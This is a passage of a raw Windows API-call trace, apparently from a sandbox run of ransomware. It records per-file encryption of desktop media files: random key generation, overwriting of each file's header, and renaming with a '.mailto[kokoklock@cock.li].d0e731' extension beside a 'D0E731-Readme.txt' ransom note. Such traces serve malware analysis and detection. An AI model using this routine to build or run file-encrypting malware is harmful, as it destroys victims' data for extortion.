[0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x76b26bf6 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x662178e9 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x63041c4a [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x980ba23 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x1364081e [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x7d731800 [0070.347] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.347] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1373f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1373f6f8*=0x4096, lpOverlapped=0x0) returned 1 [0070.347] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f78 [0070.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.348] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1373f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1373f6f8*=0x4096, lpOverlapped=0x0) returned 1 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.348] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x5c7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.348] WriteFile (in: hFile=0x470, lpBuffer=0x3422f78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1373f730, lpOverlapped=0x0 | out: lpBuffer=0x3422f78*, lpNumberOfBytesWritten=0x1373f730*=0x20, lpOverlapped=0x0) returned 1 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422f78) returned 1 [0070.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.348] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x1373f744*=0x8, lpOverlapped=0x0) returned 1 [0070.349] WriteFile (in: hFile=0x470, lpBuffer=0x1373f75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x1373f75c*, lpNumberOfBytesWritten=0x1373f744*=0x4, lpOverlapped=0x0) returned 1 [0070.349] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1373f744*=0x4, lpOverlapped=0x0) returned 1 [0070.349] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1373f744*=0x6c, lpOverlapped=0x0) returned 1 [0070.349] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x1373f744*=0x20, lpOverlapped=0x0) returned 1 [0070.349] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1373f744*=0x4, lpOverlapped=0x0) returned 1 [0070.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.349] CloseHandle (hObject=0x470) returned 1 [0070.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2960 [0070.932] wcscpy (in: _Dest=0x33e2960, _Source="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" [0070.932] wcscat (in: _Dest=0x33e2960, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" [0070.932] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.946] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2960) returned 1 [0070.947] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png", dwFileAttributes=0x20) returned 0 [0070.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.947] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.947] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.947] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481708) returned 1 [0070.947] RtlExitUserThread (Status=0x1) Thread: id = 468 os_tid = 0x12e4 [0070.351] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a")) returned 0x20 [0070.351] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a", dwFileAttributes=0x20) returned 1 [0070.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.352] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x137bfcf8 | out: lpFileSize=0x137bfcf8*=78073) returned 1 [0070.352] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x130f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.352] ReadFile (in: hFile=0x470, lpBuffer=0x137bfccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x137bfccc*, lpNumberOfBytesRead=0x137bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0070.352] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f78 [0070.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cd0 [0070.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d48 [0070.352] NtQuerySystemTime (in: CurrentTime=0x137bfca4 | out: CurrentTime=0x137bfca4*=132121176282441717) returned 0x0 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x54cc48be [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xbd507baa [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x76f21499 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x7d76fcec [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x29a33cd8 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xa676b02d [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xd623bed8 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xfb29dedd [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x90166468 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xf0eda869 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x7979272a [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xce102e4a [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x4cccf5e7 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xb890eaed [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xc9cf5b21 [0070.352] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x832aa745 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xc82dbd7b [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x4a278b96 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xf8bb0abe [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xc70ff3d3 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x32045559 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xe4d2310d [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x95e3ae1c [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xc916cf2e [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x77df09df [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xcc34d7be [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xb0d334f4 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x27a49e36 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xc6019dc8 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x258b1a58 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0x19460039 [0070.353] RtlRandom (in: Seed=0x137bfcb0 | out: Seed=0x137bfcb0) returned 0xe32349c4 [0070.363] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.363] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x137bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x137bfc7c*=0x4096, lpOverlapped=0x0) returned 1 [0070.364] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0070.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0070.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0070.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x137bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0x137bfc7c*=0x4096, lpOverlapped=0x0) returned 1 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.365] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x130f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x3422c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x137bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x3422c08*, lpNumberOfBytesWritten=0x137bfcb4*=0x20, lpOverlapped=0x0) returned 1 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c08) returned 1 [0070.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x3422d70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x3422d70*, lpNumberOfBytesWritten=0x137bfcc8*=0x8, lpOverlapped=0x0) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x137bfce0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x137bfce0*, lpNumberOfBytesWritten=0x137bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x137bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0070.365] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x137bfcc8*=0x6c, lpOverlapped=0x0) returned 1 [0070.366] WriteFile (in: hFile=0x470, lpBuffer=0x3422cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x3422cd0*, lpNumberOfBytesWritten=0x137bfcc8*=0x20, lpOverlapped=0x0) returned 1 [0070.366] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x137bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x137bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0070.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d70) returned 1 [0070.366] CloseHandle (hObject=0x470) returned 1 [0070.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eab90 [0070.933] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" [0070.933] wcscat (in: _Dest=0x33eab90, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" [0070.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.945] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0070.945] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a", dwFileAttributes=0x20) returned 0 [0070.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480480 [0070.945] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.945] wcscat (in: _Dest=0x3480480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.945] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0070.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431410) returned 1 [0070.946] RtlExitUserThread (Status=0x1) Thread: id = 469 os_tid = 0x12ec [0070.370] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav")) returned 0x20 [0070.370] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav", dwFileAttributes=0x20) returned 1 [0070.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.371] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1383faf0 | out: lpFileSize=0x1383faf0*=48008) returned 1 [0070.371] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xbb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.371] ReadFile (in: hFile=0x470, lpBuffer=0x1383fac4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x1383fac4*, lpNumberOfBytesRead=0x1383fac0*=0x4, lpOverlapped=0x0) returned 1 [0070.371] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f78 [0070.371] NtQuerySystemTime (in: CurrentTime=0x1383fa9c | out: CurrentTime=0x1383fa9c*=132121176282598143) returned 0x0 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x4ef7c7cd [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xe240a7dc [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x70b2d052 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x1eb7f9f9 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x507e9436 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xd95cba4 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x2bc4aabd [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x92af8c94 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xda90552c [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x4c7d85bc [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xb8697c94 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xd5562d06 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xc8257a8b [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x1119d65d [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x7c4eb05 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xc1a5081b [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x8d7e6358 [0070.371] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xbc1a3666 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x4b4a1ac8 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xa8ab1b44 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x935c9dc3 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xf59e6da6 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xd399d96a [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xa7da71d7 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xa83b2b13 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xa2c996d6 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x68e71d54 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x879e0ed [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x902913f7 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xf2b231d9 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0xd0b29120 [0070.372] RtlRandom (in: Seed=0x1383faa8 | out: Seed=0x1383faa8) returned 0x5935dbee [0070.383] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.383] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1383fa74, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1383fa74*=0x4096, lpOverlapped=0x0) returned 1 [0070.383] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.384] WriteFile (in: hFile=0x470, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1383fa74, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0x1383fa74*=0x4096, lpOverlapped=0x0) returned 1 [0070.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.384] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xbb88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.384] WriteFile (in: hFile=0x470, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1383faac, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0x1383faac*=0x20, lpOverlapped=0x0) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 